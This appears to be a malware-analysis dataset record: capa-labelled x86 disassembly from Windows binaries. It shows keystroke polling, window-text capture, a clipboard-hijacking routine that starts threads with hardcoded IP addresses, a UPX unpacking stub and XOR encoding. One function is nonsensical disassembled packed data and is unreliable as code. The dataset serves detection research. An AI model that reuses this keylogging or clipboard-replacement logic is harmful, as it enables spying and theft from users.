joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4296a3
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], esp
push 0x11
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x4296de
push 6
call fcn.00444c22
add esp, 4
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 0xc]
push 2
mov ebx, 0xc4
call fcn.00448a60
add esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x429741
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.00445fc0
add esp, 0x1c
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x429765
push 6
call fcn.00444c22
add esp, 4
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 0xc]
push 2
mov ebx, 0xc4
call fcn.00448a60
add esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4297c8
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.00445fc0
add esp, 0x1c
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0x12
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x4297ec
push 6
call fcn.00444c22
add esp, 4
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 0x8000
push 0x80000301
push 0
push dword [ebp - 0xc]
push 2
mov ebx, 0xc4
call fcn.00448a60
add esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x42984f
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc8
call fcn.00445fc0
add esp, 0x1c
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x429857
mov esp, ebp
pop ebp
ret
Function at 0x42d9d5
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], esp
mov ebx, dword [ebp - 0xc]
push dword [ebx]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x42da1b
push 6
call fcn.00444c22
add esp, 4
mov dword [ebp - 0x1c], eax
fild dword [ebp - 0x1c]
fstp qword [ebp - 0x1c]
fld qword [ebp - 0x1c]
fadd qword [0x456375]
fstp qword [ebp - 0x24]
fld qword [ebp - 0x24]
call fcn.00401181
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x184
call fcn.00445320
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x42da6e
push ebx
call fcn.00444c1c
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], esp
push dword [ebp - 4]
push dword [ebp - 8]
mov ebx, dword [ebp - 0xc]
push dword [ebx]
call dword [sym.imp.USER32.dll_GetWindowTextA]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x42daa7
push 6
call fcn.00444c22
add esp, 4
mov eax, dword [ebp - 8]
test eax, eax
je 0x42dac3
push eax
mov ebx, eax
call fcn.004010ba
inc eax
push eax
call fcn.00444c16
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x42dac8
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x42dad9
push ebx
call fcn.00444c1c
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x445c80
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x10]
push edi
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x445d12
mov eax, dword [esp + 0x10]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push esi
mov dword [esp + 0x10], ebx
jle 0x445d04
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x445cfc
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x445cc5
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
mov dword [esp + 0x10], 0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret

Function at 0x445d20
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
lea eax, [esp + 0x14]
push edi
push eax
mov dword [esp + 0x1c], 0x44
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esp + 0x84]
xor edi, edi
cmp eax, edi
mov dword [esp + 0x54], edi
mov dword [esp + 0x58], edi
mov dword [esp + 0x44], 1
je case.0x445d61.2
mov ecx, dword [esp + 0x7c]
lea eax, [ecx - 1]
cmp eax, 5
ja case.0x445d61.2
jmp dword [eax*4 + 0x445dec]
mov word [esp + 0x48], di
jmp 0x445d9a
mov word [esp + 0x48], 2
jmp 0x445d9a
mov word [esp + 0x48], 3
jmp 0x445d9a
mov word [esp + 0x48], 4
jmp 0x445d9a
mov word [esp + 0x48], 7
jmp 0x445d9a
mov word [esp + 0x48], 5
lea edx, [esp + 8]
mov ecx, dword [esp + 0x64]
lea eax, [esp + 0x18]
push edx
push eax
push edi
push edi
push edi
push 1
push edi
push edi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, eax
cmp esi, edi
je 0x445de4
cmp dword [esp + 0x70], edi
je 0x445dd0
mov edx, dword [esp + 8]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
mov ecx, dword [esp + 0xc]
push ecx
call edi
mov eax, esi
pop edi
pop esi
add esp, 0x54
ret

Function at 0x445ee0
Capabilities:
Resolve dns

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call sub.WS2_32.dll_inet_addr
mov esi, eax
cmp esi, 0xffffffff
jne 0x445f07
push edi
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x445f07
mov eax, dword [eax + 0xc]
pop edi
pop esi
mov ecx, dword [eax]
mov eax, dword [ecx]
ret
mov eax, esi
pop edi
pop esi
ret
Function at 0x445f10
Capabilities:
Initialize winsock library
Send icmp echo request

Disassembly:
sub esp, 0x2a8
lea eax, [esp + 0x118]
push ebp
push eax
push 0x202
or ebp, 0xffffffff
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x445fa7
mov ecx, dword [esp + 0x2b4]
push ebx
push esi
push edi
push ecx
call fcn.00445ee0
mov ebx, eax
add esp, 4
cmp ebx, 0xffffffff
je 0x445f95
mov eax, dword [esp + 0x2d4]
mov edi, 0x2710
test eax, eax
je 0x445f61
mov edi, dword [esp + 0x2cc]
call sub.icmp.dll_IcmpCreateFile
mov esi, eax
test esi, esi
je 0x445f95
push edi
lea edx, [esp + 0x14]
push 0x116
push edx
push 0
push 0xd
push str.BlackMoonPing
push ebx
push esi
call sub.icmp.dll_IcmpSendEcho
test eax, eax
je 0x445f8f
mov ebp, dword [esp + 0x18]
push esi
call sub.icmp.dll_IcmpCloseHandle
call sub.WS2_32.dll_WSACleanup
pop edi
pop esi
mov eax, ebp
pop ebx
pop ebp
add esp, 0x2a8
ret
mov eax, ebp
pop ebp
add esp, 0x2a8
ret
Function at 0x447450
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x18]
push ebx
push ebp
push esi
push edi
push eax
call fcn.00449330
mov esi, dword [esp + 0x38]
mov ebx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
add esp, 4
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x10], ebp
test ebx, ebx
je 0x4475a0
test ecx, ecx
je 0x4475a0
inc ecx
push ecx
call fcn.0044a4f2
mov ebp, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x5c
mov edx, ecx
mov esi, edi
mov edi, ebp
push ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.0044a5e0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x4474c9
mov byte [edi], 0
inc edi
lea eax, [esp + 0x1c]
push eax
push ebp
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x44758d
push 0x400
mov dword [esp + 0x18], 0x400
mov dword [esp + 0x1c], 1
call fcn.0044a4f2
add esp, 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [esp + 0x14]
mov esi, eax
mov eax, dword [esp + 0x1c]
push ecx
lea edx, [esp + 0x1c]
push esi
push edx
push 0
push edi
push eax
call ebx
test eax, eax
je 0x447551
cmp eax, 0xea
jne 0x447579
push esi
call fcn.0044a500
mov ecx, dword [esp + 0x18]
push ecx
call fcn.0044a4f2
mov ecx, dword [esp + 0x24]
add esp, 8
lea edx, [esp + 0x14]
mov esi, eax
push edx
lea eax, [esp + 0x1c]
push esi
push eax
push 0
push edi
push ecx
call ebx
test eax, eax
jne 0x44751c
mov eax, dword [esp + 0x18]
cmp eax, 1
je 0x44755f
cmp eax, 2
jne 0x447579
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
call fcn.004491d0
add esp, 8
mov dword [esp + 0x10], eax
push esi
call fcn.0044a500
mov edx, dword [esp + 0x20]
add esp, 4
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebp
call fcn.0044a500
mov eax, dword [esp + 0x14]
add esp, 4
test eax, eax
jne 0x4475ce
mov ebp, eax
mov eax, dword [esp + 0x48]
test eax, eax
je 0x4475da
mov edx, dword [esp + 0x40]
test edx, edx
je 0x4475da
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
call fcn.004491d0
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x447da0
Capabilities:
Get file size

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
jne 0x447dae
or eax, 0xffffffff
pop esi
ret
push esi
call fcn.004496b0
add esp, 4
test eax, eax
jne 0x447dc0
or eax, 0xffffffff
pop esi
ret
mov ecx, dword [esi]
or eax, 0xffffffff
cmp ecx, 1
jne 0x447ddb
mov esi, dword [esi + 4]
lea eax, [esp + 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
pop esi
ret
cmp ecx, 2
jne 0x447de8
mov ecx, dword [esi + 4]
call fcn.004496a0
pop esi
ret

Function at 0x447df0
Capabilities:
Get file size
Read file on windows

Disassembly:
sub esp, 0xc
push esi
mov esi, dword [esp + 0x18]
test esi, esi
jne 0x447e06
mov eax, 1
pop esi
add esp, 0xc
ret
push esi
call fcn.004496b0
add esp, 4
test eax, eax
jne 0x447e1d
mov eax, 1
pop esi
add esp, 0xc
ret
mov eax, dword [esi]
push ebx
push ebp
cmp eax, 1
push edi
mov dword [esp + 0x10], 1
jne 0x447ecd
mov esi, dword [esi + 4]
lea eax, [esp + 0x14]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 1
push 0
push 0
push esi
mov ebx, eax
call ebp
mov edi, eax
cmp edi, 0xffffffff
je 0x447f35
cmp edi, ebx
jae 0x447f35
mov eax, dword [esp + 0x38]
mov dword [esp + 0x10], 0
test eax, eax
je 0x447f35
mov eax, dword [esp + 0x30]
test eax, eax
je 0x447f35
lea ecx, [esp + 0x18]
push 0
push ecx
lea edx, [esp + 0x2c]
push 1
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push 0
push edi
push esi
mov ebx, eax
call ebp
test ebx, ebx
je 0x447f35
mov al, byte [esp + 0x24]
test al, al
je 0x447f2d
cmp al, 0x1a
jne 0x447f35
pop edi
mov dword [esp + 0xc], 1
mov eax, dword [esp + 0xc]
pop ebp
pop ebx
pop esi
add esp, 0xc
ret
cmp eax, 2
jne 0x447f35
mov esi, dword [esi + 4]
mov ecx, esi
call fcn.004496a0
mov ebx, eax
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x14]
mov edi, eax
cmp edi, ebx
jae 0x447f35
mov eax, dword [esp + 0x38]
mov dword [esp + 0x10], 0
test eax, eax
je 0x447f35
mov eax, dword [esp + 0x30]
test eax, eax
je 0x447f35
mov edx, dword [esi]
lea eax, [esp + 0x24]
push 1
push eax
mov ecx, esi
call dword [edx + 0x20]
mov edx, dword [esi]
push 0
push edi
mov ecx, esi
mov ebp, eax
call dword [edx + 0x18]
test ebp, ebp
je 0x447f35
mov al, byte [esp + 0x24]
test al, al
je 0x447f2d
cmp al, 0x1a
jne 0x447f35
mov dword [esp + 0x10], 1
mov eax, dword [esp + 0x10]
pop edi
pop ebp
pop ebx
pop esi
add esp, 0xc
ret
Function at 0x447f50
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
test ebx, ebx
push edi
jne 0x447f63
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push ebx
call fcn.004496b0
add esp, 4
test eax, eax
jne 0x447f75
pop edi
pop esi
pop ebp
pop ebx
ret
mov edi, dword [esp + 0x24]
test edi, edi
jg 0x447f84
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov eax, dword [ebx]
xor esi, esi
cmp eax, 1
jne 0x447fdb
mov ebx, dword [ebx + 4]
push edi
call fcn.0044a4f2
add esp, 4
mov ebp, eax
lea eax, [esp + 0x18]
push esi
push eax
push edi
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x447fbe
push ebp
call fcn.0044a500
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov ecx, dword [esp + 0x18]
push ecx
push ebp
call fcn.00449190
push ebp
mov esi, eax
call fcn.0044a500
add esp, 0xc
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret
cmp eax, 2
jne 0x44801d
mov ebx, dword [ebx + 4]
lea edx, [edi + 8]
push edx
call fcn.00444dd0
mov esi, eax
add esp, 4
lea ecx, [esi + 8]
mov dword [esi], 1
mov dword [esi + 4], edi
mov eax, dword [ebx]
push edi
push ecx
mov ecx, ebx
call dword [eax + 0x20]
test eax, eax
jne 0x44801a
push esi
call fcn.00444e60
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov dword [esi + 4], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x448b30
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x448b4e
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x448b43
pop esi
ret
Function at 0x10073770
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x1007390c
pushal
mov esi, section.UPX1
lea edi, [esi - 0x63000]
push edi
or ebp, 0xffffffff
jmp 0x1007379a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x100737a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10073790
mov eax, 1
add ebx, ebx
jne 0x100737b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x100737c4
jne 0x100737d4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x100737d4
dec eax
add ebx, ebx
jne 0x100737d0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x100737a8
xor ecx, ecx
sub eax, 3
jb 0x100737ec
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1007385e
sar eax, 1
mov ebp, eax
jmp 0x100737f7
add ebx, ebx
jne 0x100737f7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x10073804
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x10073828
inc ecx
add ebx, ebx
jne 0x10073814
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x10073809
jne 0x10073825
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x10073809
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x10073848
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x10073839
jmp 0x10073796
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x10073848
add edi, ecx
jmp 0x10073796
pop esi
mov edi, esi
mov ecx, 0x81f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x10073866
cmp byte [edi], 0xa
jne 0x10073866
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x1007386b
lea edi, [esi + 0x70000]
mov eax, dword [edi]
or eax, eax
je 0x100738da
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x732a0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x732f0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x10073898
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x732f4]
or eax, eax
je 0x100738d4
mov dword [ebx], eax
add ebx, 4
jmp 0x100738b5
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x1007390b
cmp al, 0xef
ja 0x100738fe
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x100738e0
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x100738ed
popal
jmp 0x1000f08d
Function at 0x10032dc0
Capabilities:
Encode data using xor

Disassembly:
pushfd
add esi, 2
pushfd
pushal
call fcn.1001975d
inc ecx
xchg ebp, eax
jbe 0x10032e4d
imul ecx, dword [edi + 0x63], 0x382d525d
nop
inc edi
sal ch, cl
push edx
sub eax, 0xd2479038
cmc
insd dword es:[edi], dx
mov dh, 0xf3
clc
pop esp
imul ecx, dword [edi + edi - 0x4b], 0xffffffca
clc
leave
sub eax, 0x5255ae38
cdq
jg 0x10032e57
repne lodsb al, byte [esi]
fcomp dword [eax + 0x55]
popfd
and byte [ebp - 0x60], 0xcc
pop es
jb 0x10032dd3
adc dword [ecx + 0x64], ebx
movsb byte es:[edi], byte [esi]
fbstp tbyte [ebx]
outsb dx, byte [esi]
invalid
invalid
test byte [esi], cl
mov cl, byte [eax]
mov ecx, 0x526d293c
stc
cld
shr byte [eax - 0x4f], 1
push es
arpl word [edi - 0xf208df6], si
pop ebx
sar byte [edi - 0x35], 1
stosd dword es:[edi], eax
xor dword [esi], ebx
mov edi, 0x87badf7b
xchg edi, eax
test al, 0xbc
and bh, bh
loop 0x10032e30
mov edx, 0x983bf28e
and ebx, dword [ebx + 0x4c5443d]
jge 0x10032ea2
cmp ebx, dword [eax + 0x443d9b23]
cmp ebx, dword [eax + 0x443d9b23]
lds eax, [edi*2 - 0x69257ac4]
test edx, ebx
xchg esi, eax
sub byte [ebx + 0x1225d9fd], bl
fistp qword [eax*8 + 0x782fc7bc]
movsd dword es:[edi], dword [esi]
das
js 0x10032e1c
out dx, al
sbb esp, dword [eax]
jae 0x10032e5b
sub al, 0x93
pop ebx
sub eax, 0xa62c4cdc
xchg byte [eax], al
add eax, 0x25b96c69
test eax, 0x2a716ee5
mov al, dl
cmpsd dword [esi], dword es:[edi]
stosb byte es:[edi], al
cmpsd dword [esi], dword es:[edi]
pop ds
jb 0x10032e5c
or dword [ebx], 0x700271bb
clc
clc
sti
jno 0x10032ecf
sub al, 0xe3
inc edx
jecxz 0x10032ee7
lodsb al, byte [esi]
xchg si, ax
imul ecx, dword [edi + 0x6be2077e], 0xd8e3007c
mov bh, 0x1c
jbe 0x10032e74
mov dword [0xbc25682], eax
xor al, 0x21
xchg ecx, eax
lds esi, [ebx + ebp*2 - 0x347c06ad]
lodsb al, byte [esi]
fisttp word [ebp + 0x72e04b52]
ror esi, 1
call 0xc2be3643
out dx, eax
hlt
jo 0x10032ed8
mov ebx, 0x61f4efb2
rol ch, 0x18
or byte [ebx - 0x357ec30d], 0xf3
cmp al, 0x8d
add ecx, edx
inc eax
not edi
sbb byte [eax - 0x7ec30c75], al
retf 0x3cf3
sub eax, 0x21cc830d
push 0xffffffffffffffc3
mov dword [0x30673fd], eax
dec edx
leave
inc esi
movsd dword es:[edi], dword [esi]
pop esp
xchg ebp, eax
adc edi, dword [ebx - 0x7e71c66]
jbe 0x10032f72
or edx, dword [edi + 0x38]
mov esp, 0x1f634f6b
sbb eax, 0x1be07ca8
imul esp, dword [esi - 0x7eb925fa], 0xffffffc5
add byte [eax], ch
arpl word [edi - 0x4aa6e136], cx
mov dword [0xc2ee0722], eax
cmp ebp, dword ds:[ebp + 0x1bf92c51]
into
xor dh, ah
int 0xb2
ror dword [edx], 0x67
pop esp
pushal
push 0xffffffffffffffd9
mov ebx, 0x4a690ccc
sahf
mov ebp, 0x70c8ac71
dec esp
inc ebx
mov ecx, 0xb242f4c
and eax, 0x887ba863
jmp 0x424264ce
inc eax
stc
add eax, dword [edx]
mov ecx, 0xe5a9ac75
invalid
Function at 0x4011a0
Capabilities:
Create thread
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x43d008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, dword [sym.imp.USER32.dll_CloseClipboard]
mov esi, eax
test esi, esi
je 0x401265
push 1
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x401248
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x401265
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.0040c120
mov ecx, esi
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401207
sub ecx, edx
cmp ecx, 0x104
jae 0x40122b
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401220
sub ecx, edx
jmp 0x401230
mov ecx, 0x104
push ecx
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.0040c2c0
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call edi
lea eax, [ebp - 0x108]
push eax
push 0x439070
push 0x19895
push 2
call fcn.00409cf0
add esp, 0x10
push 0x4291
push 0x438fec
push 2
call fcn.00409bc0
add esp, 0xc
push 0x104
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x4012cd
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x4012cd
push str.GBvoNidDMOgIUGJ1uvZQ3pebCSjCwLBcHXV3CxaptDcVDhL8Swmsad0fkKexT5ewRfaQ2dw5Ro4cOLWcZrCaG
push 0x104
push eax
call fcn.0040ebf2
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call edi
push 0x5c4e
push 0x438fec
push 2
call fcn.00409bc0
push 8
mov dword [ebp - 0x10c], 0
call fcn.0040ebe7
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp - 0x10c]
add esp, 0x10
mov dword [eax + 4], 0x7834
mov dword [eax], str.197.182.186.212
push ecx
push 0
push eax
push 0x4013e0
push 0
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x401327
push eax
call esi
call fcn.00402200
test al, al
je 0x401366
call fcn.00402610
push 0x43f220
push 0
push 0
push 0x4042d0
push 0
push 0
call edi
test eax, eax
jne 0x401363
push str.Cannot_create_a_new_hook_thread_n
push 0x19895
push 2
call fcn.00409cf0
add esp, 0xc
jmp 0x401366
push eax
call esi
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x10c], 0
push eax
push 0
push str.155.15.133.69
push 0x406c30
push 0
push 0
call edi
test eax, eax
jne 0x40139c
push str.Cannot_create_a_new_hook_thread_n
call fcn.004015b0
add esp, 4
jmp 0x40139f
push eax
call esi
push 0x806
push 0x438fec
push 2
call fcn.00409bc0
push str.pause
call fcn.0040ebc1
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
mov eax, 1
pop edi
pop esi
call fcn.00409e20
mov esp, ebp
pop ebp
ret